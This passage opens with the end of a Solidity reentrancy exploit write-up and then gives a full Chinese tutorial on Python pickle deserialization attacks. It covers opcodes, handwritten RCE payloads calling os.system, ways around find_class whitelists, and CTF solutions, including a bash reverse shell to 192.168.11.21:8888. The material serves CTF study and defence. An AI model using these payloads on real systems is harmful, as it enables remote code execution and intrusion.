发现成功的调用了攻击合约的fallback函数，此时我认为，是因为攻击合约的存款和受害合约的balance不成正比，导致最后一次的call调用返回了失败导致整体的回退。
### 第二次尝试
这次我将攻击合约的存款与受害合约的balance调整为10:1，再次攻击，依旧失败了
### 第三次尝试
这一次我想到了solidity 0.8.9的更新版本允许我们定义下面类型的fallback函数
fallback(bytes calldata) external payable returns(bytes memory) {
a.update();
return '0x10000000';
}
当call调用之后，我们自行定义返回值，使得返回值的第一个字节为1也就等价于true。不知道我们自定义的返回值是否会对bool
success产生影响，如果可以的就可以使得我们的重入不会在最后一次失败。
再次失败，进过调试发现我们自定义的返回值对bool success并未产生影响。再次翻阅call调用的返回值的定义，发现
call函数的返回值为true或者false。
只有当能够找到此方法并执行成功后，会返回true，而如果不能够找到此函数或执行失则会返回false。因此我刚刚的方法不能奏效。
### 第四次尝试
经过进一步调试发现，未限制重入次数的情况下，总会在最后一次call失败，如果我们能控制重入的次数应该就可以实现，保证每一次都是成功的，就可以实现交易不会失败。
稍微改善代码
uint i;
fallback() external payable {
i+=1;
if(i<10){
a.update();
}
}
启动attack
攻击成功！
## 总结
本次漏洞发生的原因在于错误的利用被认为是安全的函数代码库，而在实际的审计过程中大家往往会忽略这种函数的审查，误以为其是安全的。其实一进入该函数的实现，就能轻而易举的发现问题，也算是人性的弱点吧。本来想展示实际业务中的审计到的代码，但是由于业务保密性要求，很遗憾不能展示。 | 社区文章 |
# pickle反序列化初探
* pickle反序列化初探
* 前言
* 基本知识
* pickle简介
* 可序列化的对象
* `object.__reduce__()` 函数
* pickle过程详细解读
* opcode简介
* opcode版本
* pickletools
* 漏洞利用
* 利用思路
* 初步认识：pickle EXP的简单demo
* 如何手写opcode
* 常用opcode解析
* 拼接opcode
* 全局变量覆盖
* 函数执行
* 实例化对象
* pker的使用（推荐）
* 注意事项
* CTF实战
* 做题之前：了解`pickle.Unpickler.find_class()`
* Code-Breaking:picklecode
* watevrCTF-2019:Pickle Store
* 高校战疫网络安全分享赛:webtmp
* pker使用说明
* 简介
* pker能做的事
* 使用方法与示例
* pker：全局变量覆盖
* pker：函数执行
* pker：实例化对象
* 手动辅助
* pker：CTF实战
* Code-Breaking: picklecode
* BalsnCTF:pyshv1
* BalsnCTF:pyshv2
* BalsnCTF:pyshv3
* watevrCTF-2019: Pickle Store
* SUCTF-2019:guess_game
* 高校战疫网络安全分享赛: webtmp
* 后记
* 参考资料
## 前言
最近遇到有关pickle的CTF题，虽然被很多师傅们玩的差不多了，但是我也仔细学习了一波，尽可能详细地总结了pickle反序列化的相关知识。整篇文章介绍了pickle的基本原理、PVM、opcode解析的详细过程、CTF赛题实战和pker工具的使用，希望这篇文章能给初学pickle反序列化知识的童鞋带来帮助。文章内容比较多，如果文章中出现了错误请师傅们指正。
## 基本知识
### pickle简介
* 与PHP类似，python也有序列化功能以长期储存内存中的数据。pickle是python下的序列化与反序列化包。
* python有另一个更原始的序列化包marshal，现在开发时一般使用pickle。
* 与json相比，pickle以二进制储存，不易人工阅读；json可以跨语言，而pickle是Python专用的；pickle能表示python几乎所有的类型（包括自定义类型），json只能表示一部分内置类型且不能表示自定义类型。
* pickle实际上可以看作一种 **独立的语言** ，通过对opcode的更改编写可以执行python代码、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高，有的代码不能通过pickle序列化得到（pickle解析能力大于pickle生成能力）。
### 可序列化的对象
* `None` 、 `True` 和 `False`
* 整数、浮点数、复数
* str、byte、bytearray
* 只包含可封存对象的集合，包括 tuple、list、set 和 dict
* 定义在模块最外层的函数（使用 def 定义，lambda 函数则不可以）
* 定义在模块最外层的内置函数
* 定义在模块最外层的类
* `__dict__` 属性值或 `__getstate__()` 函数的返回值可以被序列化的类（详见官方文档的Pickling Class Instances）
### `object.__reduce__()` 函数
* 在开发时，可以通过重写类的 `object.__reduce__()` 函数，使之在被实例化时按照重写的方式进行。具体而言，python要求 `object.__reduce__()` 返回一个 `(callable, ([para1,para2...])[,...])` 的元组，每当该类的对象被unpickle时，该callable就会被调用以生成对象（该callable其实是构造函数）。
* 在下文pickle的opcode中， `R` 的作用与 `object.__reduce__()` 关系密切：选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数。其实 `R` 正好对应 `object.__reduce__()` 函数， `object.__reduce__()` 的返回值会作为 `R` 的作用对象，当包含该函数的对象被pickle序列化时，得到的字符串是包含了 `R` 的。
## pickle过程详细解读
* pickle解析依靠Pickle Virtual Machine (PVM)进行。
* PVM涉及到三个部分：1. 解析引擎 2. 栈 3. 内存：
* 解析引擎：从流中读取 opcode 和参数，并对其进行解释处理。重复这个动作，直到遇到 `.` 停止。最终留在栈顶的值将被作为反序列化对象返回。
* 栈：由Python的list实现，被用来临时存储数据、参数以及对象。
* memo：由Python的dict实现，为PVM的生命周期提供存储。说人话：将反序列化完成的数据以 `key-value` 的形式储存在memo中，以便后来使用。
* 为了便于理解，我把BH讲稿中的相关部分制成了动图，PVM解析 `str` 的过程动图：
* PVM解析 `__reduce__()` 的过程动图：
### opcode简介
#### opcode版本
* pickle由于有不同的实现版本，在py3和py2中得到的opcode不相同。但是pickle可以向下兼容（所以用v0就可以在所有版本中执行）。目前，pickle有6种版本。
import pickle
a={'1': 1, '2': 2}
print(f'# 原变量：{a!r}')
for i in range(4):
print(f'pickle版本{i}',pickle.dumps(a,protocol=i))
# 输出：
pickle版本0 b'(dp0\nV1\np1\nI1\nsV2\np2\nI2\ns.'
pickle版本1 b'}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本2 b'\x80\x02}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
pickle版本3 b'\x80\x03}q\x00(X\x01\x00\x00\x001q\x01K\x01X\x01\x00\x00\x002q\x02K\x02u.'
* pickle3版本的opcode示例：
# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'
# \x80：协议头声明 \x03：协议版本
# \x04\x00\x00\x00：数据长度：4
# abcd：数据
# q：储存栈顶的字符串长度：一个字节（即\x00）
# \x00：栈顶位置
# .：数据截止
* pickle0版本的部分opcode表格：
Opcode | Mnemonic | Data type loaded onto the stack | Example
---|---|---|---
S | STRING | String | S'foo'\n
V | UNICODE | Unicode | Vfo\u006f\n
I | INTEGER | Integer | I42\n
... | ... | ... | ...
* 本表格截取了BH的pdf上的部分内容，完整表格可以直接在[原pdf](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)中找到。
### pickletools
* 使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
import pickletools
data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)
0: \x80 PROTO 3
2: c GLOBAL 'builtins exec'
17: q BINPUT 0
19: X BINUNICODE "key1=b'1'\nkey2=b'2'"
43: q BINPUT 1
45: \x85 TUPLE1
46: q BINPUT 2
48: R REDUCE
49: q BINPUT 3
51: . STOP
highest protocol among opcodes = 2
## 漏洞利用
### 利用思路
* 任意代码执行或命令执行。
* 变量覆盖，通过覆盖一些凭证达到绕过身份验证的目的。
### 初步认识：pickle EXP的简单demo
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" # 要执行的命令
return os.system, (s,) # reduce函数必须返回元组或字符串
e = genpoc()
poc = pickle.dumps(e)
print(poc) # 此时，如果 pickle.loads(poc)，就会执行命令
* 变量覆盖
import pickle
key1 = b'321'
key2 = b'123'
class A(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)
### 如何手写opcode
* 在CTF中，很多时候需要一次执行多个函数或一次进行多个指令，此时就不能光用 `__reduce__` 来解决问题（reduce一次只能执行一个函数，当exec被禁用时，就不能一次执行多条指令了），而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
* 在这里可以体会到为何pickle **是一种语言** ，直接编写的opcode灵活性比使用pickle序列化生成的代码更高，只要符合pickle语法，就可以进行变量覆盖、函数执行等操作。
* 根据前文不同版本的opcode可以看出，版本0的opcode更方便阅读，所以手动编写时，一般选用版本0的opcode。下文中，所有opcode为版本0的opcode。
#### 常用opcode解析
为了充分理解栈的作用，强烈建议一边看动图一边学习opcode的作用：
由于pickle库中的注释不是很详细，网上的其他资料也没有具体地把栈和memo上的变化讲清楚，以下的每个opcode的操作都是我经过实验验证并且尽可能将栈和memo上的变化解释清楚，常用的opcode如下：
opcode | 描述 | 具体写法 | 栈上的变化 | memo上的变化
---|---|---|---|---
c | 获取一个全局对象或import一个模块（注：会调用import语句，能够引入新的包） | c[module]\n[instance]\n |
获得的对象入栈 | 无
o | 寻找栈中的上一个MARK，以之间的第一个数据（必须为函数）为callable，第二个到第n个数据为参数，执行该函数（或实例化一个对象） | o |
这个过程中涉及到的数据都出栈，函数的返回值（或生成的对象）入栈 | 无
i | 相当于c和o的组合，先获取一个全局函数，然后寻找栈中的上一个MARK，并组合之间的数据为元组，以该元组为参数执行全局函数（或实例化一个对象） |
i[module]\n[callable]\n | 这个过程中涉及到的数据都出栈，函数返回值（或生成的对象）入栈 | 无
N | 实例化一个None | N | 获得的对象入栈 | 无
S | 实例化一个字符串对象 | S'xxx'\n（也可以使用双引号、\'等python字符串形式） | 获得的对象入栈 | 无
V | 实例化一个UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | 无
I | 实例化一个int对象 | Ixxx\n | 获得的对象入栈 | 无
F | 实例化一个float对象 | Fx.x\n | 获得的对象入栈 | 无
R | 选择栈上的第一个对象作为函数、第二个对象作为参数（第二个对象必须为元组），然后调用该函数 | R | 函数和参数出栈，函数的返回值入栈 | 无
. | 程序结束，栈顶的一个元素作为pickle.loads()的返回值 | . | 无 | 无
( | 向栈中压入一个MARK标记 | ( | MARK标记入栈 | 无
t | 寻找栈中的上一个MARK，并组合之间的数据为元组 | t | MARK标记以及被组合的数据出栈，获得的对象入栈 | 无
) | 向栈中直接压入一个空元组 | ) | 空元组入栈 | 无
l | 寻找栈中的上一个MARK，并组合之间的数据为列表 | l | MARK标记以及被组合的数据出栈，获得的对象入栈 | 无
] | 向栈中直接压入一个空列表 | ] | 空列表入栈 | 无
d | 寻找栈中的上一个MARK，并组合之间的数据为字典（数据必须有偶数个，即呈key-value对） | d |
MARK标记以及被组合的数据出栈，获得的对象入栈 | 无
} | 向栈中直接压入一个空字典 | } | 空字典入栈 | 无
p | 将栈顶对象储存至memo_n | pn\n | 无 | 对象被储存
g | 将memo_n的对象压栈 | gn\n | 对象被压栈 | 无
0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | 无
b | 使用栈中的第一个元素（储存多个属性名: 属性值的字典）对第二个元素（对象实例）进行属性设置 | b | 栈上第一个元素出栈 | 无
s | 将栈的第一个和第二个对象作为key-value对，添加或更新到栈的第三个对象（必须为列表或字典，列表以数字作为key）中 | s |
第一、二个元素出栈，第三个元素（列表或字典）添加新值或被更新 | 无
u | 寻找栈中的上一个MARK，组合之间的数据（数据必须有偶数个，即呈key-value对）并全部添加或更新到该MARK之前的一个元素（必须为字典）中 |
u | MARK标记以及被组合的数据出栈，字典被更新 | 无
a | 将栈的第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈，第二个元素（列表）被更新 | 无
e | 寻找栈中的上一个MARK，组合之间的数据并extends到该MARK之前的一个元素（必须为列表）中 | e |
MARK标记以及被组合的数据出栈，列表被更新 | 无
此外， `TRUE` 可以用 `I` 表示： `b'I01\n'` ； `FALSE` 也可以用 `I` 表示： `b'I00\n'`
，其他opcode可以在[pickle库的源代码](https://github.com/python/cpython/blob/master/Lib/pickle.py#L111)中找到。
由这些opcode我们可以得到一些需要注意的地方：
* 编写opcode时要想象栈中的数据，以正确使用每种opcode。
* 在理解时注意与python本身的操作对照（比如python列表的`append`对应`a`、`extend`对应`e`；字典的`update`对应`u`）。
* `c`操作符会尝试`import`库，所以在`pickle.loads`时不需要漏洞代码中先引入系统库。
* pickle不支持列表索引、字典索引、点号取对象属性作为 **左值** ，需要索引时只能先获取相应的函数（如`getattr`、`dict.get`）才能进行。但是因为存在`s`、`u`、`b`操作符， **作为右值是可以的** 。即“查值不行，赋值可以”。pickle能够索引查值的操作只有`c`、`i`。而如何查值也是CTF的一个重要考点。
* `s`、`u`、`b`操作符可以构造并赋值原来没有的属性、键值对。
#### 拼接opcode
将第一个pickle流结尾表示结束的 `.` 去掉，将第二个pickle流与第一个拼接起来即可。
#### 全局变量覆盖
python源码：
# secret.py
name='TEST3213qkfsmfo'
# main.py
import pickle
import secret
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
print('before:',secret.name)
output=pickle.loads(opcode.encode())
print('output:',output)
print('after:',secret.name)
首先，通过 `c` 获取全局变量 `secret` ，然后建立一个字典，并使用 `b` 对secret进行属性设置，使用到的payload：
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
#### 函数执行
与函数执行相关的opcode有三个： `R` 、 `i` 、 `o` ，所以我们可以从三个方向进行构造：
1. `R` ：
b'''cos
system
(S'whoami'
tR.'''
1. `i` ：
b'''(S'whoami'
ios
system
.'''
1. `o` ：
b'''(cos
system
S'whoami'
o.'''
#### 实例化对象
实例化对象是一种特殊的函数执行，这里简单的使用 `R` 构造一下，其他方式类似：
class Student:
def __init__(self, name, age):
self.name = name
self.age = age
data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''
a=pickle.loads(data)
print(a.name,a.age)
#### pker的使用（推荐）
* pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器，可以在<https://github.com/eddieivan01/pker>下载源码。解析器的原理见作者的paper：[通过AST来构造Pickle opcode](https://xz.aliyun.com/t/7012)。
* 使用pker，我们可以更方便地编写pickle opcode，pker的使用方法将在下文中详细介绍。需要注意的是，建议在能够手写opcode的情况下使用pker进行辅助编写，不要过分依赖pker。
#### 注意事项
pickle序列化的结果与操作系统有关，使用windows构建的payload可能不能在linux上运行。比如：
# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
### CTF实战
#### 做题之前：了解`pickle.Unpickler.find_class()`
由于官方针对pickle的安全问题的建议是修改`find_class()`，引入白名单的方式来解决，很多CTF题都是针对该函数进行，所以搞清楚如何绕过该函数很重要。
什么时候会调用`find_class()`：
1. 从opcode角度看，当出现`c`、`i`、`b'\x93'`时，会调用，所以只要在这三个opcode直接引入模块时没有违反规则即可。
2. 从python代码来看，`find_class()`只会在解析opcode时调用一次，所以只要绕过opcode执行过程，`find_class()`就不会再调用，也就是说`find_class()`只需要过一次，通过之后再产生的函数在黑名单中也不会拦截，所以可以通过`__import__`绕过一些黑名单。
下面先看两个例子：
safe_builtins = {'range','complex','set','frozenset','slice',}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__': # 只允许__main__模块
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
* 第一个例子是官方文档中的例子，使用白名单限制了能够调用的模块为`{'range','complex','set','frozenset','slice',}`。
* 第二个例子是高校战疫网络安全分享赛·webtmp中的过滤方法，只允许`__main__`模块。虽然看起来很安全，但是被引入主程序的模块都可以通过`__main__`调用修改，所以造成了变量覆盖。
由这两个例子我们了解到，对于开发者而言，使用白名单谨慎列出安全的模块则是规避安全问题的方法；而如何绕过`find_class`函数内的限制就是pickle反序列化解题的关键。
此外，CTF中的考察点往往还会结合python的基础知识（往往是内置的模块、属性、函数）进行，考察对白名单模块的熟悉程度，所以做题的时候可以先把白名单模块的文档看一看:)
#### Code-Breaking:picklecode
题目将pickle能够引入的模块限定为`builtins`，并且设置了子模块黑名单：`{'eval', 'exec', 'execfile',
'compile', 'open', 'input', '__import__', 'exit'}`，于是我们能够 **直接** 利用的模块有：
* `builtins`模块中，黑名单外的子模块。
* 已经`import`的模块：`io`、`builtins`（需要先利用`builtins`模块中的函数）
黑名单中没有`getattr`，所以可以通过`getattr`获取`io`或`builtins`的子模块以及子模块的子模块:)，而`builtins`里有`eval、exec`等危险函数，即使在黑名单中，也可以通过`getattr`获得。pickle不能直接获取`builtins`一级模块，但可以通过`builtins.globals()`获得`builtins`；这样就可以执行任意代码了。payload为：
b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
#### watevrCTF-2019:Pickle Store
因为题目是黑盒，所以没有黑白名单限制，直接改cookie反弹shell即可。payload：
b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/192.168.11.21/8888 0>&1'"
tR.
'''
#### 高校战疫网络安全分享赛:webtmp
限制中，改写了`find_class`函数，只能生成`__main__`模块的pickle：
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__': # 只允许__main__模块
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
此外，禁止了`b'R'`：
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
目标是覆盖secret中的验证，由于secret被主程序引入，是存在于`__main__`下的secret模块中的，所以可以直接覆盖掉，此时就成功绕过了限制：
b'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db0(S"1"
S"2"
i__main__
Animal
.'''
除了以上这些题外，还有BalsnCTF:pyshv1-v3和SUCTF-2019:guess_game四道题，由于手动写还是比较麻烦，在后文中使用pker工具完成。
## pker使用说明
### 简介
* pker是由@eddieivan01编写的以仿照Python的形式产生pickle opcode的解析器，可以在<https://github.com/eddieivan01/pker>下载源码。
* 使用pker，我们可以更方便地编写pickle opcode（生成pickle版本0的opcode）。
* 再次建议，在能够手写opcode的情况下使用pker进行辅助编写，不要过分依赖pker。
* 此外，pker的实现用到了python的ast（抽象语法树）库，抽象语法树也是一个很重要东西，有兴趣的可以研究一下ast库和pker的源码，由于篇幅限制，这里不再叙述。
### pker能做的事
引用自<https://xz.aliyun.com/t/7012#toc-5>：
> * 变量赋值：存到memo中，保存memo下标和变量名即可
> * 函数调用
> * 类型字面量构造
> * list和dict成员修改
> * 对象成员变量修改
>
具体来讲，可以使用pker进行原变量覆盖、函数执行、实例化新的对象。
### 使用方法与示例
1. pker中的针对pickle的特殊语法需要重点掌握（后文给出示例）
2. 此外我们需要注意一点：python中的所有类、模块、包、属性等都是对象，这样便于对各操作进行理解。
3. pker主要用到`GLOBAL、INST、OBJ`三种特殊的函数以及一些必要的转换方式，其他的opcode也可以手动使用：
以下module都可以是包含`.`的子module
调用函数时，注意传入的参数类型要和示例一致
对应的opcode会被生成，但并不与pker代码相互等价
GLOBAL
对应opcode：b'c'
获取module下的一个全局对象（没有import的也可以，比如下面的os）：
GLOBAL('os', 'system')
输入：module,instance(callable、module都是instance)
INST
对应opcode：b'i'
建立并入栈一个对象（可以执行一个函数）：
INST('os', 'system', 'ls')
输入：module,callable,para
OBJ
对应opcode：b'o'
建立并入栈一个对象（传入的第一个参数为callable，可以执行一个函数））：
OBJ(GLOBAL('os', 'system'), 'ls')
输入：callable,para
xxx(xx,...)
对应opcode：b'R'
使用参数xx调用函数xxx（先将函数入栈，再将参数入栈并调用）
li[0]=321
或
globals_dic['local_var']='hello'
对应opcode：b's'
更新列表或字典的某项的值
xx.attr=123
对应opcode：b'b'
对xx对象进行属性设置
return
对应opcode：b'0'
出栈（作为pickle.loads函数的返回值）：
return xxx # 注意，一次只能返回一个对象或不返回对象（就算用逗号隔开，最后也只返回一个元组）
注意：
1. 由于opcode本身的功能问题，pker肯定也不支持列表索引、字典索引、点号取对象属性作为 **左值** ，需要索引时只能先获取相应的函数（如`getattr`、`dict.get`）才能进行。但是因为存在`s`、`u`、`b`操作符， **作为右值是可以的** 。即“查值不行，赋值可以”。
2. pker解析`S`时，用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
test="123"
return test
被解析为：
b"S'123'\np0\n0g0\n."
#### pker：全局变量覆盖
* 覆盖直接由执行文件引入的`secret`模块中的`name`与`category`变量：
secret=GLOBAL('__main__', 'secret')
# python的执行文件被解析为__main__对象，secret在该对象从属下
secret.name='1'
secret.category='2'
* 覆盖引入模块的变量：
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'
接下来会给出一些具体的基本操作的实例。
#### pker：函数执行
* 通过`b'R'`调用：
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
* 通过`b'i'`调用：
INST('os', 'system', 'whoami')
* 通过`b'c'`与`b'o'`调用：
OBJ(GLOBAL('os', 'system'), 'whoami')
* 多参数调用函数
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
#### pker：实例化对象
* 实例化对象是一种特殊的函数执行
animal = INST('__main__', 'Animal','1','2')
return animal
# 或者
animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
* 其中，python原文件中包含：
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
* 也可以先实例化再赋值：
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal
#### 手动辅助
* 拼接opcode：将第一个pickle流结尾表示结束的`.`去掉，两者拼接起来即可。
* 建立普通的类时，可以先pickle.dumps，再拼接至payload。
### pker：CTF实战
* 在实际使用pker时，首先需要有大概的思路，保证能做到手写每一步的opcode，然后使用pker对思路进行实现。
#### Code-Breaking: picklecode
解析思路见前文手写opcode的CTF实战部分，pker代码为：
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
eval=getattr(builtins,'eval')
eval('print("123")')
return
#### BalsnCTF:pyshv1
题目的`find_class`只允许`sys`模块，并且对象名中不能有`.`号。意图很明显，限制子模块，只允许一级模块。
`sys`模块有一个字典对象`modules`，它包含了运行时所有py程序所导入的所有模块，并决定了python引入的模块，如果字典被改变，引入的模块就会改变。`modules`中还包括了`sys`本身。我们可以利用自己包含自己这点绕过限制，具体过程为：
1. 由于`sys`自身被包含在自身的子类里，我们可以利用这点使用`s`赋值，向后递进一级，引入`sys.modules`的子模块：`sys.modules['sys']=sys.modules`，此时就相当于`sys=sys.modules`。这样我们就可以利用原`sys.modules`下的对象了，即`sys.modules.xxx`。
2. 首先获取`modules`的`get`函数，然后类似于上一步，再使用`s`把`modules`中的`sys`模块更新为`os`模块：`sys['sys']=sys.get('os')`。
3. 使用`c`获取`system`，之后就可以执行系统命令了。
整个利用过程还是很巧妙的，pker代码为：
modules=GLOBAL('sys', 'modules')
modules['sys']=modules
modules_get=GLOBAL('sys', 'get')
os=modules_get('os')
modules['sys']=os
system=GLOBAL('sys', 'system')
system('whoami')
return
#### BalsnCTF:pyshv2
与v1类似，题目的`find_class`只允许`structs`模块，并且对象名中不能有`.`号，只允许一级模块。其中，`structs`是个空模块。但是在`find_class`中调用了`__import__`函数：
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module) # 注意这里调用了__import__
return getattr(module, name)
注意python的以下几条性质：
1. `__builtins__`是所有模块公有的字典，记录所有内建函数，可以通过对`__builtins__`内相应key对应函数的修改劫持相应的函数。由于题目调用了`__import__`函数，我们可以通过修改`__import__`劫持`getattr`函数。
2. `__dict__`列表储存并决定了一个对象的所有属性，如果其内容被改变，属性也会改变。
3. `c`的实现过程调用了`find_class`函数（顺带一提，它实际上是先`import`再调用`find_class`，但是由于python的import语句其实是使用了五个参数调用的`__import`，无法利用），而本题的`find_class`中多调用了一次`__imoprt__`，随后调用`getattr`，这包含了一个查值的过程，这一点很重要。
然后我们理一下利用过程：
1. 目标：`structs.__builtins__['eval']`→需要`structs.__builtins__.get`函数。
2. 实现二级跳转：劫持`__import__`为`structs.__getattribute__`，opcode`cstructs`变为`structs.__getattribute__(structs).xxx`。
3. 结合1、2：`structs.__getattribute__(structs)`要返回`structs.__builtins__`；xxx则设置为get。
4. 利用`structs.__dict__`对`structs`赋值新属性`structs.structs`为`structs.__builtins__`，以便`structs.__getattribute__(structs)`返回`structs.__builtins__`。
pker实现：
__dict__ = GLOBAL('structs', '__dict__') # structs的属性dict
__builtins__ = GLOBAL('structs', '__builtins__') # 内建函数dict
gtat = GLOBAL('structs', '__getattribute__') # 获取structs.__getattribute__
__builtins__['__import__'] = gtat # 劫持__import__函数
__dict__['structs'] = __builtins__ # 把structs.structs属性赋值为__builtins__
builtin_get = GLOBAL('structs', 'get') # structs.__getattribute__('structs').get
eval = builtin_get('eval') # structs.structs['eval']（即__builtins__['eval']
eval('print(123)')
return
#### BalsnCTF:pyshv3
v3的`find_class`与v1类似，并限制了`structs`模块，与v1和v2不同的是，v3的flag是由程序读取的，不用达到RCE权限。关键代码为：
class Pysh(object):
def __init__(self):
self.key = os.urandom(100)
self.login()
self.cmds = {
'help': self.cmd_help,
'whoami': self.cmd_whoami,
'su': self.cmd_su,
'flag': self.cmd_flag,
}
def login(self):
with open('../flag.txt', 'rb') as f:
flag = f.read()
flag = bytes(a ^ b for a, b in zip(self.key, flag))
user = input().encode('ascii')
user = codecs.decode(user, 'base64')
user = pickle.loads(user)
print('Login as ' + user.name + ' - ' + user.group)
user.privileged = False
user.flag = flag
self.user = user
def run(self):
while True:
req = input('$ ')
func = self.cmds.get(req, None)
if func is None:
print('pysh: ' + req + ': command not found')
else:
func()
...
def cmd_flag(self):
if not self.user.privileged:
print('flag: Permission denied')
else:
print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))
if __name__ == '__main__':
pysh = Pysh()
pysh.run()
程序先进行一次pickle反序列化，`self.user.privileged`被设置为`False`，然后进入命令执行循环流程，而且提供`cmd_flag`函数，如果`self.user.privileged`为`True`，就会返回flag。
当类实现了`__get__`、`__set__`和`__delete__`任一方法时，该类被称为“描述器”类，该类的实例化为描述器。对于一个某属性为描述器的类来说，其实例化的对象在查找该属性或设置属性时将不再通过`__dict__`，而是调用该属性描述器的`__get__`、`__set__`或`__delete__`方法。需要注意的是，一个类必须在声明时就设置属性为描述器，使之成为类属性，而不是对象属性，此时描述器才能起作用。
所以，如果我们设置`User`类的`__set__`函数，它就成为了描述器；再将它设置为`User`类本身的`privileged`属性时，该属性在赋值时就会调用`__set__`函数而不会被赋值，从而绕过赋值获得flag。
pker代码为：
User=GLOBAL('structs','User')
User.__set__=GLOBAL('structs','User') # 使User成为描述器类
des=User('des','des') # 描述器
User.privileged=des # 注意此处必须设置描述器为类的属性，而不是实例的属性
user=User('hachp1','hachp1') # 实例化一个User对象
return user
#### watevrCTF-2019: Pickle Store
解析思路见前文手写opcode的CTF实战部分，pker代码为：
system=GLOBAL('os', 'system')
system('bash -c "bash -i >& /dev/tcp/192.168.11.21/8888 0>&1"')
return
#### SUCTF-2019:guess_game
题目是一个猜数字游戏，每次对输入的数据反序列化作为ticket，并与随机生成的ticket进行对比，猜对10次就给flag。`find_class`函数限制了`guess_game`模块并禁止了下划线（魔术方法、变量）：
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes
if "guess_game" == module[0:10] and "__" not in name:
return getattr(sys.modules[module], name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
直接作弊用pickle改`game.ticket`为猜测的ticket，然后把`win_count`和`round_count`都改为9（因为还要进行一轮，`round_count`必须大于10才会出现输赢判断，而给flag的依据是`win_count`等于10轮），pickle伪代码：
ticket=INST('guess_game.Ticket','Ticket',(1))
game=GLOBAL('guess_game','game')
game.win_count=9
game.round_count=9
game.curr_ticket=ticket
return ticket
#### 高校战疫网络安全分享赛: webtmp
解析思路见前文手写opcode的CTF实战部分，pker代码为：
secret=GLOBAL('__main__', 'secret') # python的执行文件被解析为__main__对象，secret在该对象从属下
secret.name='1'
secret.category='2'
animal = INST('__main__', 'Animal','1','2')
return animal
## 后记
* 为了解决pickle反序列化的问题，官方给出了使用改写 `Unpickler.find_class()` 方法，引入白名单的方式来解决，并且给出警告：对于允许反序列化的对象必须要保持警惕。对于开发者而言，如果实在要给用户反序列化的权限，最好使用双白名单限制`module`和`name`并充分考虑到白名单中的各模块和各函数是否有危险。
* CTF中，pickle相关的题目一般考察对python本身（如对魔术方法和属性等）的深度理解，利用过程可以很巧妙。
* 由于pickle“只能赋值，不能查值”的特性，唯一能够根据键值查询的操作就是`find_class`函数，即`c`、`i`等opcode，如何根据特有的魔术方法、属性等找到突破口是关键；此外，在利用过程中，往往会借助`getattr`、`get`等函数。
* 借助pker可以比较方便的编写pickle的opcode，该工具是做题利器。
* 本文涉及的CTF题目已整理至github：<https://github.com/HACHp1/pickle_ctf_collection>
## 参考资料
* [官方文档：pickle --- Python 对象序列化](https://docs.python.org/zh-cn/3/library/pickle.html)
* [How pickle works in Python](https://rushter.com/blog/pickle-serialization-internals/)
